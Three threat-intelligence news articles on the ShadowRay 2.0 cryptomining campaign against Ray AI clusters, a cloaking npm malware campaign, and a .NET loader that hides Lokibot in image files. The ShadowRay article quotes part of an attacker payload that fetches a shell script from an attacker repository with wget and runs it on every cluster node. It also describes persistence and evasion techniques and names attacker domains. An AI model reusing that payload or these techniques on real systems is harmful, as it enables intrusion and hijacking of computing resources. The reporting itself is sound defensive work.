Cybersecurity researchers have uncovered an active global hacking campaign leveraging a known flaw in Ray, an open-source AI framework widely used for managing distributed computing tasks.

Dubbed ShadowRay 2.0, this attack exploits vulnerability CVE-2023-48022 to silently seize control of powerful AI computing clusters and turn them into cryptocurrency mining operations.

The campaign represents a significant escalation from the initial ShadowRay discovery in March 2024, with attackers employing sophisticated tactics to remain hidden while extracting maximum value from compromised infrastructure.

Oligo Security researchers identified the attack campaign in early November 2025, discovering that threat actors using the name IronErn440 have weaponized Ray’s legitimate orchestration features into tools for self-propagating attacks.

What makes this threat particularly alarming is the sheer scale of exposure. The number of exposed Ray servers worldwide has grown from thousands during the original discovery to more than 230,000 instances today.

Many belong to active startups, research laboratories, and cloud-hosting providers, creating an expansive attack surface.

Oligo Security security analysts identified the attack after observing region-aware malware being distributed through GitLab.

The attackers initially leveraged the DevOps platform to deliver customized payloads adapted to each victim’s geographic location.

After GitLab took down the malicious repository on November 5, 2025, the threat actors quickly migrated their operation to GitHub, demonstrating remarkable operational agility.

By November 10, they had established a new repository and continued their campaign with even greater sophistication.

AI Attacking AI Infrastructure

The attack unfolds through multiple coordinated stages, beginning with reconnaissance using interact.sh, an out-of-band platform that lets attackers identify vulnerable servers without traditional noisy scanning.

Attackers send probes targeting Ray’s unprotected Jobs API, triggering callbacks from vulnerable instances. Once targets are identified, they exploit the unauthenticated Ray dashboard to submit malicious jobs that execute arbitrary code with cluster privileges.

The most notable aspect is the use of AI-generated payloads. The attackers deploy Python code that automatically discovers available cluster resources, calculates 60 percent CPU and GPU allocation to avoid immediate detection, and then injects cryptocurrency miners disguised as legitimate system processes.

The payloads demonstrate sophisticated error handling and self-adaptation, suggesting they were generated or refined using AI tools to accelerate payload development.

A critical code snippet shows the multi-stage infection mechanism. The initial access payload uses Ray’s NodeAffinitySchedulingStrategy to enumerate cluster nodes and deploy infection scripts to each one:-

nodes=[n for n in ray.nodes() if n.get('Alive', False)]
cmd='wget -qO- https://gitlab.com/ironern440-group/ironern440-project/-/raw/main/aa_clean.sh && chmod +x aa_clean.sh && ./aa_clean.sh'
[ray.get(ray.remote(lambda:subprocess.run(cmd,shell=True)).options(scheduling_strategy=NodeAffinitySchedulingStrategy...

The attackers establish persistence through multiple mechanisms: cron jobs executing every fifteen minutes, systemd service hijacking, and SSH key injection into root accounts.

They mask malicious processes by renaming them to appear as legitimate kernel workers like [kworker/0:0] and dns-filter services, effectively hiding in plain sight.

What sets this campaign apart is the active competition dynamics. Attackers deploy scripts to detect and terminate rival cryptocurrency miners, then block competing mining pools through iptables rules and host file modifications.

They even target pools on specific ports used by competing threat actors, revealing an underground ecosystem where multiple criminal groups fight for the same compromised resources.

The infrastructure adaptation is equally concerning. For victims in China, attackers deliver region-specific payloads through proxy services to bypass network restrictions.

They employ geographic detection via ip-api.com, executing different scripts for Chinese versus international targets.

The attackers continuously update their payloads through GitLab commits, treating infrastructure as code and enabling real-time evolution of their techniques without redeploying to victim machines.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New ShadowRay Attack Exploit Ray AI-Framework Vulnerability to Attack AI Systems appeared first on Cyber Security News.

A sophisticated malware campaign targeting the npm ecosystem has emerged, deploying a clever detection system that distinguishes between regular users and security researchers.

The threat actor, operating under the alias dino_reborn, created seven malicious npm packages designed to redirect users to crypto-themed scam sites while evading security detection.

This intricate operation represents a new frontier in supply chain attacks, combining traffic cloaking technology with browser-based evasion techniques to deliver precision-targeted malicious content.

The campaign leverages a set of contaminated packages including signals-embed, dsidospsodlks, applicationooks21, application-phskck, integrator-filescrypt2025, integrator-2829, and integrator-2830.

Six of these packages contain 39 kilobytes of malware code, while the seventh constructs a malicious webpage. When users visit the website deployed by these packages, the malware automatically analyzes their behavior and system characteristics to determine their threat level.

The threat actor then serves dramatically different experiences based on this classification—victims encounter a convincing fake CAPTCHA leading to malicious destinations, while researchers see only blank pages hiding the true nature of the attack.

Socket.dev security analysts identified and documented this complex campaign after discovering the interconnected infrastructure linking all packages to a single threat actor.

The research team traced the creation email to geneboo@proton[.]me and uncovered how the attacker was using Adspect, a legitimate cloaking service designed to distinguish between bots and real visitors.

By weaponizing this technology within npm packages, the attacker found a way to distribute self-contained malicious code that automatically gates access to harmful payloads based on sophisticated fingerprinting.

The campaign’s success stems from its multi-layered approach to evading both automated security scanners and human analysis. Upon deployment, the malware wraps its code in an Immediately Invoked Function Expression (IIFE), ensuring it executes automatically without requiring explicit function calls.

The code aggressively blocks researcher access by disabling browser developer tools, preventing right-click context menus, blocking keyboard shortcuts like F12, Ctrl+U, and Ctrl+Shift+I, and continuously reloading the page if DevTools are detected.

Technical Analysis of the Detection Evasion Mechanism

The malware’s ability to distinguish victims from researchers relies on a sophisticated fingerprinting system that collects thirteen distinct data points about each visitor.

When a user accesses the compromised website, the JavaScript payload gathers information, including the browser user agent, host information, referrer URL, request method, server hostname, protocol encryption status, request timestamp, language preferences, and accepted encoding formats.

This comprehensive data collection creates a detailed profile that gets transmitted to the Adspect API through a proxy endpoint, such as association-google.xyz/adspect-proxy.php, effectively reconstructing server-side request capabilities within the browser environment.

The decision-making logic represents the campaign’s core innovation. When Adspect receives the fingerprint data, it analyzes the traffic characteristics and returns a response indicating whether the visitor appears legitimate or suspicious.

If the API determines the traffic originates from a researcher, it returns an “ok: false” status, triggering the display of a blank white page containing only generic text about Offlido, a fake offline storage company.

This benign page provides perfect cover, appearing completely legitimate to any analyst who might inspect it. Conversely, if Adspect determines the visitor is a potential victim, it returns “ok: true” along with a malicious redirect URL and triggers display of a fake CAPTCHA interface.

The CAPTCHA mimics real verification systems from legitimate crypto exchanges like Uniswap and Jupiter, borrowing their branding to build false credibility.

When victims click the verification checkbox, a three-second loading animation plays before showing success, followed by automatic redirection to the malicious URL in a new browser tab.

This psychological manipulation, combined with the familiar CAPTCHA interface, increases the likelihood that victims will trust and engage with the redirect without suspicion.

The attacker’s infrastructure flexibility represents another significant advantage. Because Adspect returns new redirect URLs on each request, the threat actor can rotate final destinations server-side without ever republishing any npm package, making traditional takedown efforts reactive rather than preventative.

This allows the campaign to remain operational even after initial detection and package removal from npm’s registry.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New npm Malware Campaign Verifies if the Visitor is a Victim or a Researcher Before Triggering Infection appeared first on Cyber Security News.

Cybersecurity threats continue to evolve with sophisticated evasion methods. A new .NET-based malware loader has emerged that demonstrates an advanced approach to concealing the notorious Lokibot trojan within image files.

This multi-stage payload delivery system uses steganography, a technique that embeds hidden data inside legitimate-looking files, making detection significantly more challenging for security tools and analysts.

The malware operates as a steganography loader capable of extracting and executing Lokibot from within PNG and BMP image files.

Security researchers have identified this threat as part of an expanding attack campaign targeting organizations globally.

The attacker leverages image file containers because antivirus software and email gateways often whitelist image files as safe, assuming they pose no risk.

This assumption has become a critical vulnerability in modern security infrastructure. The delivery mechanism typically involves phishing emails or compromised websites hosting the initial loader.

Once executed, the malware retrieves image files containing hidden Lokibot payloads from remote servers. The steganographic embedding process manipulates pixel data within the image files, specifically using RGB color channels to store encoded executable code.

This technique renders the images functionally intact while silently carrying malicious content. Splunk security researchers noted that the malware represents a significant shift in evasion strategy.

Traditional detection methods rely on identifying suspicious file signatures or behavioral patterns, but image-based steganography bypasses these defenses by hiding executables within files that appear innocuous.

The researchers discovered that the loader uses a custom decryption routine to extract the actual Lokibot payload after retrieval, adding another layer of obfuscation that delays analysis and detection.

Once deployed, Lokibot functions as an information stealer designed to harvest sensitive credentials and data from infected systems.

The malware targets browser histories, saved passwords, and application-specific authentication tokens, making it particularly dangerous for corporate environments where employees access multiple cloud services.

The Steganographic Embedding Mechanism

Understanding how the malware hides code within image files reveals the technical sophistication of this attack. The .NET loader contains embedded PNG and BMP files within its resource section.

These image files have been specifically crafted to contain the Lokibot payload encoded across multiple pixel values.

The encoding process takes advantage of the ARGB color format, where each pixel contains alpha, red, green, and blue channel data.

Attackers manipulate these channel values to carry encoded bytes of the actual malicious executable. The process extracts individual pixel values, converts them to hexadecimal sequences, and reassembles these bytes into a complete PE module.

The resulting extracted file is typically a DLL, such as “captive.dll,” which serves as an intermediate stage that decrypts and executes the final Lokibot trojan.

This nested approach means security tools must successfully bypass multiple layers of encryption and encoding to reach the actual threat.

The elegance of this technique lies in its ability to distribute malware using files that fail content analysis, pass file-type validation checks, and bypass gateway filters designed for traditional payload detection methods.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New .NET Malware Hides Lokibot Malware within PNG/BMP Files to Evade Detection appeared first on Cyber Security News.